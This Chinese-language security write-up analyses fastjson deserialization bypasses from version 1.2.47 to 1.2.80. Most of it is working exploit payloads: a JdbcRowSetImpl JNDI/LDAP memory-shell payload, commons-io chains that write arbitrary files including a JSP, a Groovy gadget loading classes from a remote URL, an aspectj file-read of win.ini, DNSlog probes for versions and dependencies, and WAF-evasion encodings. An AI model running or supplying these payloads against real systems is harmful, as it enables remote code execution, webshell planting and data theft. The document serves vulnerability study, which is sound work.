fastjson历史简介
version<1.2.24 没有做任何限制，可以直接进行类的实例化和调用
1.2.25 - 1.2.47 checkAutoType来进行认证。默认为false，false的时候，先进行黑名单过滤，在进行白名单过滤（白名单匹配可以直接加载）。如果checkAutoType为true则白名单过滤，存在直接加载，然后再黑名单过滤。绕过规则主要是利用@type加载类的时候有限制（L [）利用其变形进行绕过
1.2.47以后，主要是利用缓存类进行加载。本文章主要是对1.2.47以后的一些加载机制做了解。同时复现1.2.80的常用的链子。
参考链接
https://github.com/su18/hack-fastjson-1.2.80https://www.cnblogs.com/zpchcbd/p/14969606.htmlhttps://hosch3n.github.io/2022/09/01/Fastjson1-2-80%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/https://y4er.com/posts/fastjson-1.2.80/https://b1ue.cn/archives/184.htmlhttps://paper.seebug.org/1236/https://mp.weixin.qq.com/s/m2U4zNkLCJvO3l1jChzeFw
1.fastjson1.2.47
import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;import jdk.nashorn.internal.parser.JSONParser;public class demo {public static void main(String[] args) {String payload = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}," +"\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1389/TomcatBypass/TomcatMemshell1\",\"autoCommit\":true}}";Object obj = JSON.parseObject(payload);System.out.println(obj);}}
下个断点再JdbcRowSetImpl#setdataSourceName，观察一下调用栈
setDataSourceName:4298, JdbcRowSetImpl (com.sun.rowset)deserialze:-1, FastjsonASMDeserializer_1_JdbcRowSetImpl (com.alibaba.fastjson.parser.deserializer)deserialze:267, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)parseObject:384, DefaultJSONParser (com.alibaba.fastjson.parser)parseObject:544, DefaultJSONParser (com.alibaba.fastjson.parser)parse:1356, DefaultJSONParser (com.alibaba.fastjson.parser)parse:1322, DefaultJSONParser (com.alibaba.fastjson.parser)parse:152, JSON (com.alibaba.fastjson)parse:162, JSON (com.alibaba.fastjson)parse:131, JSON (com.alibaba.fastjson)parseObject:223, JSON (com.alibaba.fastjson)main:10, demo
checkAutoType验证
ParserConfig#checkAutoType
代码量有点多，我就直接把关键点罗列出来
typename为需要实例化的类
typeName不为空
长度位于3-128之间
如果存在$，则将$替换为.
开启autotype的情况
未开启autotype的情况，往下走
其中在TypeUtils.getClassFromMapping(typeName)中，有以下类，fastjson会想要去从中寻找我们传入的类（Class）（此mapping主要是提供一些基础类，便于反序列化的时候提升效率）
{java.awt.Color=class java.awt.Color, [char=class [C, java.lang.IllegalStateException=class java.lang.IllegalStateException, java.lang.IndexOutOfBoundsException=class java.lang.IndexOutOfBoundsException, java.sql.Time=class java.sql.Time, java.lang.NoSuchMethodException=class java.lang.NoSuchMethodException, java.util.Collections$EmptyMap=class java.util.Collections$EmptyMap, java.util.Date=class java.util.Date, java.awt.Point=class java.awt.Point, [boolean=class [Z, float=float, java.lang.AutoCloseable=interface java.lang.AutoCloseable, java.lang.NullPointerException=class java.lang.NullPointerException, java.lang.NoSuchFieldError=class java.lang.NoSuchFieldError, java.lang.NoSuchFieldException=class java.lang.NoSuchFieldException, java.util.concurrent.atomic.AtomicInteger=class java.util.concurrent.atomic.AtomicInteger, java.util.Locale=class java.util.Locale, java.lang.InstantiationException=class java.lang.InstantiationException, java.lang.InternalError=class java.lang.InternalError, java.lang.SecurityException=class java.lang.SecurityException, [int=class [I, [double=class [D, java.lang.Cloneable=interface java.lang.Cloneable, java.lang.IllegalAccessException=class java.lang.IllegalAccessException, java.util.IdentityHashMap=class java.util.IdentityHashMap, java.lang.LinkageError=class java.lang.LinkageError, double=double, byte=byte, java.awt.Font=class java.awt.Font, java.sql.Timestamp=class java.sql.Timestamp, java.util.concurrent.ConcurrentHashMap=class java.util.concurrent.ConcurrentHashMap, java.lang.StringIndexOutOfBoundsException=class java.lang.StringIndexOutOfBoundsException, java.util.UUID=class java.util.UUID, java.lang.Exception=class java.lang.Exception, java.lang.IllegalAccessError=class java.lang.IllegalAccessError, com.alibaba.fastjson.JSONObject=class com.alibaba.fastjson.JSONObject, java.lang.StackOverflowError=class java.lang.StackOverflowError, java.awt.Rectangle=class java.awt.Rectangle, [B=class [B, java.lang.TypeNotPresentException=class java.lang.TypeNotPresentException, [C=class [C, [D=class [D, java.text.SimpleDateFormat=class java.text.SimpleDateFormat, java.util.HashMap=class java.util.HashMap, [F=class [F, long=long, [I=class [I, java.util.TreeSet=class java.util.TreeSet, [short=class [S, [J=class [J, java.lang.VerifyError=class java.lang.VerifyError, java.util.LinkedHashMap=class java.util.LinkedHashMap, java.util.HashSet=class java.util.HashSet, java.lang.IllegalMonitorStateException=class java.lang.IllegalMonitorStateException, [byte=class [B, java.util.Calendar=class java.util.Calendar, [S=class [S, java.lang.StackTraceElement=class java.lang.StackTraceElement, java.lang.NoClassDefFoundError=class java.lang.NoClassDefFoundError, java.util.Hashtable=class java.util.Hashtable, java.util.WeakHashMap=class java.util.WeakHashMap, java.util.LinkedHashSet=class java.util.LinkedHashSet, [Z=class [Z, java.lang.NegativeArraySizeException=class java.lang.NegativeArraySizeException, java.lang.IllegalThreadStateException=class java.lang.IllegalThreadStateException, [long=class [J, java.lang.NoSuchMethodError=class java.lang.NoSuchMethodError, java.lang.NumberFormatException=class java.lang.NumberFormatException, java.lang.RuntimeException=class java.lang.RuntimeException, java.lang.IllegalArgumentException=class java.lang.IllegalArgumentException, int=int, java.sql.Date=class java.sql.Date, java.util.concurrent.TimeUnit=class java.util.concurrent.TimeUnit, java.util.concurrent.atomic.AtomicLong=class java.util.concurrent.atomic.AtomicLong, java.util.concurrent.ConcurrentSkipListMap=class java.util.concurrent.ConcurrentSkipListMap, boolean=boolean, java.util.concurrent.ConcurrentSkipListSet=class java.util.concurrent.ConcurrentSkipListSet, java.util.TreeMap=class java.util.TreeMap, java.lang.InstantiationError=class java.lang.InstantiationError, java.lang.InterruptedException=class java.lang.InterruptedException, [float=class [F, char=char, short=short, java.lang.Object=class java.lang.Object, java.util.BitSet=class java.util.BitSet, java.lang.OutOfMemoryError=class java.lang.OutOfMemoryError}当没有获取到的时候，往下调用this.deserializers.findClass(typeName)，也就是从buckets中去查询
buckets的作用暂时未知，但是我们能发现，如果没有开启autotype，再这两个中匹配到了合适的类，就会直接返回类的实例，相当于绕过了检测。
通过下面的流程，我们能发现调用的MiscCodec的deserialze()
此方法代码和处理逻辑如下
判断clazz的类型（是否为InetSocketAddress）
获取payload中的val参数，复制给objVal，在类型转换赋值给strVal
对clazz进行了一系列判断
调用TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader())进行加载
TypeUtils.loadClass，处理了L[;。同时当classloader不存在的时候，就会调用当前的classloader进行加载。由于catch为true，然后就会将当前类加入map缓存中。那也就是说，后续我们进行第二个poc的加载，就会直接绕过autotype的检测，直接从map中获取到对应的值。
fastjson1.2.68
之前对map缓存的绕过被禁用掉了，1.2.68主要是对期望类的绕过。重复的代码不做分析，主要来看有变化的地方。仍旧是checkautotype这里。
对传入的期望类做验证
判断白名单类，用的hahs匹配
当条件判断满足以后，就返回这个class
获取合适的反序列化器
（1）ThrowableDeserializer
当以上都没获取到，直接到这里，获取通过类型匹配，这里用的Exception，获取到了ThrowableDeserializer反序列化器
最终put到了buckets中
然后调用ThrowableDeserializer#deserialze中调用checkautotype，此时发现类被加载到了期望类中
（2）JavaBeanDeserializer
分析方式和上面一样的，不重复分析。
写文件payload 来源于https://zhuanlan.zhihu.com/p/376759650
import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;import jdk.nashorn.internal.parser.JSONParser;public class demo {public static void main(String[] args) {String payload = "\n" +"{\n" +" \"x\":{\n" +" \"@type\":\"com.alibaba.fastjson.JSONObject\",\n" +" \"input\":{\n" +" \"@type\":\"java.lang.AutoCloseable\",\n" +" \"@type\":\"org.apache.commons.io.input.ReaderInputStream\",\n" +" \"reader\":{\n" +" \"@type\":\"org.apache.commons.io.input.CharSequenceReader\",\n" +" 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aaaaaa...aaaaaa...aaaaaa...aaaaaa...aaaaaa...aaaaaa...aaaaaa...aaaaaa...aaaaaa...aaaaaa...aaaaaa...aaaaaa...aaaaaa...aaaaaa...aaaaaa...aaaaaa...aaaaaa...aaaaaa...aaaaaa...aaaaaa...aaaaaa...aaaaaa...aaaaaa...aaaaaa...\"\n" +" },\n" +" \"charsetName\":\"UTF-8\",\n" +" \"bufferSize\":1024\n" +" },\n" +" \"branch\":{\n" +" \"@type\":\"java.lang.AutoCloseable\",\n" +" \"@type\":\"org.apache.commons.io.output.WriterOutputStream\",\n" +" \"writer\":{\n" +" \"@type\":\"org.apache.commons.io.output.FileWriterWithEncoding\",\n" +" \"file\":\"C:\\\\Users\\\\16366\\\\Desktop\\\\1.txt\",\n" +" \"encoding\":\"UTF-8\",\n" +" \"append\": false\n" +" },\n" +" \"charsetName\":\"UTF-8\",\n" +" \"bufferSize\": 1024,\n" +" \"writeImmediately\": true\n" +" },\n" +" \"trigger\":{\n" +" \"@type\":\"java.lang.AutoCloseable\",\n" +" \"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\n" +" \"is\":{\n" +" \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\n" +" \"input\":{\n" +" \"$ref\":\"$.input\"\n" +" },\n" +" \"branch\":{\n" +" \"$ref\":\"$.branch\"\n" +" },\n" +" \"closeBranch\": true\n" +" },\n" +" \"httpContentType\":\"text/xml\",\n" +" \"lenient\":false,\n" +" \"defaultEncoding\":\"UTF-8\"\n" +" },\n" +" \"trigger2\":{\n" +" \"@type\":\"java.lang.AutoCloseable\",\n" +" \"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\n" +" \"is\":{\n" +" \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\n" +" \"input\":{\n" +" \"$ref\":\"$.input\"\n" +" },\n" +" \"branch\":{\n" +" \"$ref\":\"$.branch\"\n" +" },\n" +" \"closeBranch\": true\n" +" },\n" +" \"httpContentType\":\"text/xml\",\n" +" \"lenient\":false,\n" +" \"defaultEncoding\":\"UTF-8\"\n" +" },\n" +" \"trigger3\":{\n" +" \"@type\":\"java.lang.AutoCloseable\",\n" +" \"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\n" +" \"is\":{\n" +" \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\n" +" \"input\":{\n" +" \"$ref\":\"$.input\"\n" +" },\n" +" \"branch\":{\n" +" \"$ref\":\"$.branch\"\n" +" },\n" +" \"closeBranch\": true\n" +" },\n" +" \"httpContentType\":\"text/xml\",\n" +" \"lenient\":false,\n" +" \"defaultEncoding\":\"UTF-8\"\n" +" }\n" +" }\n" +"}";Object obj = JSON.parseObject(payload);System.out.println(obj);}}
fastjson 1.2.80
payload参考
https://github.com/kezibei/fastjson_payload/tree/main/src/test
https://github.com/su18/hack-fastjson-1.2.80
url探测可用payload
{"@type":"java.lang.Exception","@type":"com.alibaba.fastjson.JSONException","x":{"@type":"java.net.InetSocketAddress"{"address":,"val":"1.zj96tn.ceye.io"}}}//小于等于1.2.80{"a":{"@type":"java.lang.Exception","@type":"com.alibaba.fastjson.JSONException","x":{"@type":"java.net.InetSocketAddress"{"address":,"val":"1.zj96tn.ceye.io"}}},"b":{"@type":"java.lang.Exception","@type":"com.alibaba.fastjson.JSONException","message":{"@type":"java.net.InetSocketAddress"{"address":,"val":"2.zj96tn.ceye.io"}}}}//大于1.2.80[{"@type": "java.lang.Class","val": "java.io.ByteArrayOutputStream"},{"@type": "java.io.ByteArrayOutputStream"},{"@type": "java.net.InetSocketAddress"{"address":,"val": "dnslog"}}]//小于等于1.2.47[{"@type": "java.lang.AutoCloseable","@type": "java.io.ByteArrayOutputStream"},{"@type": "java.io.ByteArrayOutputStream"},{"@type": "java.net.InetSocketAddress"{"address":,"val": "dnslog"}}]//小于或者等于1.2.68
数据探测fastjson
（1）autotype未开启{"@type\":"whatever"} 返回autotype不可用（2）autotype开启（3）利用处理json格式{"ext":"blue","name":{"$ref":"$.ext"}} //后续不会被处理
fastjson回显版本号
版本高一点才可用，不一定能打出来{"@type":"java.lang.AutoCloseable"JSON.parseObject("whatever",Person.class){"@type": "java.lang.AutoCloseable"
探测依赖版本
{"@type":"java.lang.Character"{"@type":"java.lang.Class","val":"com.mysql.jdbc.Driver"}}要求1：autotype开启要求2：autotype支持需要判断的类dnslog探测回显版本（windows不行 不能解析这个格式）{"@type":"java.net.Inet4Address", "val":{"@type":"java.lang.String" {"@type":"java.util.Locale", "val":{"@type":"com.alibaba.fastjson.JSONObject",{ "@type": "java.lang.String""@type":"java.util.Locale", "language":{"@type":"java.lang.String" {1:{"@type":"java.lang.Class","val":"class com.mysql.jdbc.Driver"}}, "country":"x.53303f1a.dns.1433.eu.org" }}}
可用类探测
{"z": {"@type": "java.lang.Class","val": "java.net.http.HttpClient"}}//需要Class在autotype没拉黑之前使用，根据返回信息来验证{"x": {"@type": "java.lang.Character"{"@type": "java.lang.Class","val": "com.mysql.jdbc.Driver"}}//可用类不存在返回空，可用类存在返回报错can not cast to char, value : class sun.net.www.http.HttpClient{"@type":"java.net.Inet4Address", "val":{"@type":"java.lang.String" {"@type":"java.util.Locale", "val":{"@type":"com.alibaba.fastjson.JSONObject",{ "@type": "java.lang.String""@type":"java.util.Locale", "language":{"@type":"java.lang.String" {1:{"@type":"java.lang.Class","val":"class com.mysql.jdbc.Driver"}}, "country":"x.53303f1a.dns.1433.eu.org" }}}//dnslog探测，复现失败找不到主机，但是异常中会包含存在的类的信息，不存在则为空
gadget分析
（1）groovy
payload
{"@type":"java.lang.Exception","@type":"org.codehaus.groovy.control.CompilationFailedException","unit":{}}{"@type":"org.codehaus.groovy.control.ProcessingUnit","@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit","config":{"@type":"org.codehaus.groovy.control.CompilerConfiguration","classpathList":"http://127.0.0.1:9999/"}}
选择他的原因是感觉可能利用性多一点，先来看怎么打
写一个恶意类，然后修改
\META-INF\services\org.codehaus.groovy.transform.ASTTransformation文件，发送payload
分析
国际惯例，在漏洞触发点下一个断点，看看大概的行走流程，这里我通过跟踪，最后在ASTTransformationVisitor#addPhaseOperationsForGlobalTransforms下了一个断点
调用栈贴出来如下
doAddGlobalTransforms:280, ASTTransformationVisitor (org.codehaus.groovy.transform)addGlobalTransforms:190, ASTTransformationVisitor (org.codehaus.groovy.transform)addPhaseOperations:154, ASTTransformationVisitor (org.codehaus.groovy.transform)<init>:203, CompilationUnit (org.codehaus.groovy.control)<init>:120, CompilationUnit (org.codehaus.groovy.control)<init>:48, JavaStubCompilationUnit (org.codehaus.groovy.tools.javac)newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)newInstance:62, NativeConstructorAccessorImpl (sun.reflect)newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)newInstance:422, Constructor (java.lang.reflect)deserialze:1039, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)deserialze:291, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)deserialze:287, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)deserialze:828, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)deserialze:291, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)deserialze:287, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)parseObject:405, DefaultJSONParser (com.alibaba.fastjson.parser)parse:1430, DefaultJSONParser (com.alibaba.fastjson.parser)parse:1390, DefaultJSONParser (com.alibaba.fastjson.parser)parse:181, JSON (com.alibaba.fastjson)parse:191, JSON (com.alibaba.fastjson)parse:147, JSON (com.alibaba.fastjson)parseObject:252, JSON (com.alibaba.fastjson)main:28, test
看代码其实挺简单，就是去classloader加载传入的transformNames类，其中限制需要存在GroovyASTTransformation注解，所以我们的poc中有注解，然后我们需要寻找到transformNames是如何传入的
在ASTTransformationVisitor中doAddGlobalTransforms，有以下代码，大概意思就是说会从META-INF/services/org.codehaus.groovy.transform.ASTTransformation去读取每一行，如果没有#（真正类名），就将他put到transformNames中去了。
如以下就会把e0mlja类put进去
GroovyClassLoader
他是URLClassLoader的子类，可以通过CompilerConfiguration类来实现相关的配置
而根据调用栈，我们发现config可以在JavaStubCompilationUnit实例化的时候进行配置，这也就是我们poc的书写原因。最后在ProcessingUnit#setClassLoader调用进去，传入了。
aspectj 任意文件读取
payload
{"@type":"java.lang.Exception","@type":"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException"}//第一次{"@type":"java.lang.Class","val":{"@type":"java.lang.String"{"@type":"java.util.Locale","val":{"@type":"com.alibaba.fastjson.JSONObject",{"@type":"java.lang.String""@type":"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException","newAnnotationProcessorUnits":[{}]}}}// 第二次{"x":{"@type":"org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit","@type":"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit","fileName":"c:\\windows\win.ini"}}//第三次1{"@type":"java.lang.Character"{"c":{"@type":"org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit","@type":"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit","fileName":"c:/windows/win.ini"}}//第三次2 报错回显
commons-io写文件
import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;import jdk.nashorn.internal.parser.JSONParser;public class demo {public static void main(String[] args) {String code = "test";for (int i = 0; i < 8200; i++) {code += "a";}String poc2 = " \r\n"+ " {\r\n"+ " \"su14\": {\r\n"+ " \"@type\": \"java.lang.Exception\",\r\n"+ " \"@type\": \"ognl.OgnlException\"\r\n"+ " },\r\n"+ " \"su15\": {\r\n"+ " \"@type\": \"java.lang.Class\",\r\n"+ " \"val\": {\r\n"+ " \"@type\": \"com.alibaba.fastjson.JSONObject\",\r\n"+ " {\r\n"+ " \"@type\": \"java.lang.String\"\r\n"+ " \"@type\": \"ognl.OgnlException\",\r\n"+ " \"_evaluation\": \"\"\r\n"+ " }\r\n"+ " },\r\n"+ " \"su16\": {\r\n"+ " \"@type\": \"ognl.Evaluation\",\r\n"+ " \"node\": {\r\n"+ " \"@type\": \"ognl.ASTMethod\",\r\n"+ " \"p\": {\r\n"+ " \"@type\": \"ognl.OgnlParser\",\r\n"+ " \"stream\": {\r\n"+ " \"@type\": \"org.apache.commons.io.input.BOMInputStream\",\r\n"+ " \"delegate\": {\r\n"+ " \"@type\": \"org.apache.commons.io.input.ReaderInputStream\",\r\n"+ " \"reader\": {\r\n"+ " \"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\r\n"+ " \"is\":{\r\n"+ " \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\r\n"+ " \"input\":{\r\n"+ " \"@type\":\"org.apache.commons.io.input.ReaderInputStream\",\r\n"+ " \"reader\":{\r\n"+ " \"@type\":\"org.apache.commons.io.input.CharSequenceReader\",\r\n"+ " \"charSequence\":{\"@type\":\"java.lang.String\"\""+code+"\"\r\n"+ " },\r\n"+ " \"charsetName\":\"UTF-8\",\r\n"+ " \"bufferSize\":1024\r\n"+ " },\r\n"+ " \"branch\":{\r\n"+ " \"@type\":\"org.apache.commons.io.output.WriterOutputStream\",\r\n"+ " \"writer\":{\r\n"+ " \"@type\":\"org.apache.commons.io.output.FileWriterWithEncoding\",\r\n"+ " \"file\":\"1.jsp\",\r\n"+ " \"encoding\":\"UTF-8\",\r\n"+ " \"append\": false\r\n"+ " },\r\n"+ " \"charsetName\":\"UTF-8\",\r\n"+ " \"bufferSize\": 1024,\r\n"+ " \"writeImmediately\": true\r\n"+ " },\r\n"+ " \"closeBranch\": true\r\n"+ " },\r\n"+ " \"httpContentType\":\"text/xml\",\r\n"+ " \"lenient\":false,\r\n"+ " \"defaultEncoding\":\"UTF-8\"\r\n"+ " },\r\n"+ " \"charsetName\": \"UTF-8\",\r\n"+ " \"bufferSize\": 1024\r\n"+ " },\r\n"+ " \"boms\": [{\r\n"+ " \"@type\": \"org.apache.commons.io.ByteOrderMark\",\r\n"+ " \"charsetName\": \"UTF-8\",\r\n"+ " \"bytes\": [\r\n"+ " 36,82\r\n"+ " ]\r\n"+ " }]\r\n"+ " }\r\n"+ " }\r\n"+ " }\r\n"+ " },\r\n"+ " \"su17\": {\r\n"+ " \"@type\": \"ognl.Evaluation\",\r\n"+ " \"node\": {\r\n"+ " \"@type\": \"ognl.ASTMethod\",\r\n"+ " \"p\": {\r\n"+ " \"@type\": \"ognl.OgnlParser\",\r\n"+ " \"stream\": {\r\n"+ " \"@type\": \"org.apache.commons.io.input.BOMInputStream\",\r\n"+ " \"delegate\": {\r\n"+ " \"@type\": \"org.apache.commons.io.input.ReaderInputStream\",\r\n"+ " \"reader\": {\r\n"+ " \"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\r\n"+ " \"is\":{\r\n"+ " \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\r\n"+ " \"input\":{\"$ref\": \"$.su16.node.p.stream.delegate.reader.is.input\"},\r\n"+ " \"branch\":{\"$ref\": \"$.su16.node.p.stream.delegate.reader.is.branch\"},\r\n"+ " \"closeBranch\": true\r\n"+ " },\r\n"+ " \"httpContentType\":\"text/xml\",\r\n"+ " \"lenient\":false,\r\n"+ " \"defaultEncoding\":\"UTF-8\"\r\n"+ " },\r\n"+ " \"charsetName\": \"UTF-8\",\r\n"+ " \"bufferSize\": 1024\r\n"+ " },\r\n"+ " \"boms\": [{\r\n"+ " \"@type\": \"org.apache.commons.io.ByteOrderMark\",\r\n"+ " \"charsetName\": \"UTF-8\",\r\n"+ " \"bytes\": [\r\n"+ " 36,82\r\n"+ " ]\r\n"+ " }]\r\n"+ " }\r\n"+ " }\r\n"+ " }\r\n"+ " },\r\n"+ " \"su18\": {\r\n"+ " \"@type\": \"ognl.Evaluation\",\r\n"+ " \"node\": {\r\n"+ " \"@type\": \"ognl.ASTMethod\",\r\n"+ " \"p\": {\r\n"+ " \"@type\": \"ognl.OgnlParser\",\r\n"+ " \"stream\": {\r\n"+ " \"@type\": \"org.apache.commons.io.input.BOMInputStream\",\r\n"+ " \"delegate\": {\r\n"+ " \"@type\": \"org.apache.commons.io.input.ReaderInputStream\",\r\n"+ " \"reader\": {\r\n"+ " \"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\r\n"+ " \"is\":{\r\n"+ " \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\r\n"+ " \"input\":{\"$ref\": \"$.su16.node.p.stream.delegate.reader.is.input\"},\r\n"+ " \"branch\":{\"$ref\": \"$.su16.node.p.stream.delegate.reader.is.branch\"},\r\n"+ " \"closeBranch\": true\r\n"+ " },\r\n"+ " \"httpContentType\":\"text/xml\",\r\n"+ " \"lenient\":false,\r\n"+ " \"defaultEncoding\":\"UTF-8\"\r\n"+ " },\r\n"+ " \"charsetName\": \"UTF-8\",\r\n"+ " \"bufferSize\": 1024\r\n"+ " },\r\n"+ " \"boms\": [{\r\n"+ " \"@type\": \"org.apache.commons.io.ByteOrderMark\",\r\n"+ " \"charsetName\": \"UTF-8\",\r\n"+ " \"bytes\": [\r\n"+ " 36,82\r\n"+ " ]\r\n"+ " }]\r\n"+ " }\r\n"+ " }\r\n"+ " }\r\n"+ " },\r\n"+ " \"su19\": {\r\n"+ " \"@type\": \"ognl.Evaluation\",\r\n"+ " \"node\": {\r\n"+ " \"@type\": \"ognl.ASTMethod\",\r\n"+ " \"p\": {\r\n"+ " \"@type\": \"ognl.OgnlParser\",\r\n"+ " \"stream\": {\r\n"+ " \"@type\": \"org.apache.commons.io.input.BOMInputStream\",\r\n"+ " \"delegate\": {\r\n"+ " \"@type\": \"org.apache.commons.io.input.ReaderInputStream\",\r\n"+ " \"reader\": {\r\n"+ " \"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\r\n"+ " \"is\":{\r\n"+ " \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\r\n"+ " \"input\":{\"$ref\": \"$.su16.node.p.stream.delegate.reader.is.input\"},\r\n"+ " \"branch\":{\"$ref\": \"$.su16.node.p.stream.delegate.reader.is.branch\"},\r\n"+ " \"closeBranch\": true\r\n"+ " },\r\n"+ " \"httpContentType\":\"text/xml\",\r\n"+ " \"lenient\":false,\r\n"+ " \"defaultEncoding\":\"UTF-8\"\r\n"+ " },\r\n"+ " \"charsetName\": \"UTF-8\",\r\n"+ " \"bufferSize\": 1024\r\n"+ " },\r\n"+ " \"boms\": [{\r\n"+ " \"@type\": \"org.apache.commons.io.ByteOrderMark\",\r\n"+ " \"charsetName\": \"UTF-8\",\r\n"+ " \"bytes\": [\r\n"+ " 36,82\r\n"+ " ]\r\n"+ " }]\r\n"+ " }\r\n"+ " }\r\n"+ " }\r\n"+ " }, \r\n"+ " }\r\n"+ "";System.out.println(poc2);JSON.parseObject(poc2);}}
waf绕过
最后再来看看waf绕过的问题，在处理流程中发现以下的处理函数
JSONLexerBase#skipWhitespace
if (this.ch == ' ' || this.ch == '\r' || this.ch == '\n' || this.ch == '\t' || this.ch == '\f' || this.ch == '\b') {this.next();continue;}if (this.ch == '/') {
总结规则可如下
无限制添加 \r 空格 \n \f \t \b当/开头 后面可以加* *后面可以继续加/ 中间可任意填充数据 如以下格式/*11*/aa:123，会取到aa:123 其中在/**/可以填充大量的垃圾数据，类似下面图1这样/**/,/**/a这种也能
可以在前面一直加","，效果同上要求限制
": 第二个双引号后面必须跟冒号checkAutoType
绕过方法
（1）大量脏数据绕过 @type引起来 前面可以任意加/**/，中间穿插逗号
/**//**//**//**//**//**//**//**//**//**/,/**/"@type":123bc（2）$替换.
{/**//**//**//**//**//**//**//**//**//**/,/**/\"@type\":\"aa$aa\"}";（3）直接使用/
{/**//**//**//**//**//**//**//**//**//**/,/**/\"@type\":\"aa/aa\"}";（4）unicode或者hex编码
JSONLexerBase#scanSymbol
{/**//**//**//**//**//**//**//**//**//**/,/**/"\u0040\u0074\u0079\u0070\u0065":"aa/aa"}={/**//**//**//**//**//**//**//**//**//**/,/**/"@type":"aa/aa"}
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